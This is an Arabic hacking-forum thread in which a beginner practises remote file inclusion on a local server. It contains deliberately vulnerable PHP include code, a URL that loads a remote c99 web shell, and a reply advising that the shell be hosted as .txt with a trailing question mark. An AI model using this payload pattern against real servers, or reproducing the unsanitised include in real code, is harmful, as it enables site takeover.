قبل إضافة استفسارك ولكي لا يتعرض للحذف، أو ان تتعرض أنت للحظر، اقرأ قوانين قسم الإستفسارات
السلام عليكم ورحمة الله وبركاته اخواني انا لسه مبتدأ في عالم الهكر وفي اول بدايه ليا في الهكر وقفت قدامي مشكله اتمني انكم تحلوها المشكله صادفتني في ثغرة remote file include انا عملت ملف php عادي وحطيت جواه الانكلود عادي كود PHP: <?php include($file); ?> وبعد كده لما بروح علي المتصفح علشان اربط الشيل بالمتغير file http://localhost/rfi.php?file=http://xxxxxxxx/c99.php? مش بيفتح حاجه بيفضل عارض المشكله Warning: main() [function.include]: Failed opening '' for inclusion (include_path='.;c:\php4\pear') in C:\wamp\www\rfi.php on line 3 مش عارف المشكله من ايه لكن انا عملت طريقه تانيه وهي كود PHP: <?php $file = $_GET['file']; include($file); ?> ودخلت علي نفس الرابط ودخل علي الشيل تمام بس حد ممكن يعرفني ايه مشكلتي مع العلم اني غيرت اكتر من نسخة php 4 او نسخه 5
<?php include($file); ?>
<?php $file = $_GET['file']; include($file); ?>
اخي الموقع ليس مصاب او ان المتغير ليس صحيح .. وهذي الثغرة منقرضة من عهد هتلر
Twitter: @WaleedAlharbi0للأستفار عن أي مشكلة تخص الاجهزة آو المواقع راسلني
المشاركة الأصلية كتبت بواسطة e . V . E . L اخي الموقع ليس مصاب او ان المتغير ليس صحيح .. وهذي الثغرة منقرضة من عهد هتلر مشكور اخي علي ردك انا عارف انها منقرضه بس كل دورات الهكر بتبدأ بالثغره ديه فما بالك اني مش عارف اجتازها وانا لسه بتعلم انا مش عارف المشكله وبعدين انا مش مجربها علي موقع انا مجربها علي السيرفر الشخصي عادي والكود موجود قدامك ياريت حد يقدر يساعدني
مثل ما قال الأخ ايفل هذه الثغرة منقرضة اما خطأك هو انك تحط في الرابط هاذ http://localhost/rfi.php?file=http://xxxxxxxx/c99.php? الشيل مرفوع بصيغة php اخي لازم ترفع الشيل بصيغة txt وما تنسى اشارة الإستفهام في اخر الرابط تحياتي
قوانين المنتدى
